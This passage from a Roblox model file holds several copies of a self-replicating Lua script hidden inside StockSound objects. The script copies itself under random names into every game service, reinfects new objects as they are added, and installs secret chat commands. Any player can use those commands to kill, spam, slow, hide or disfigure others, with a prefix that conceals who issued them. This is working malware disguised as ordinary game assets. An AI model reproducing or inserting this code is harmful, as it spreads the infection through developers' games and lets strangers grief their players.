local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX611">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX612">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">yjrt22</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX613">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">r3ukmb61</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX614">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">hchhgh8</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX615">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">0ky2774</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
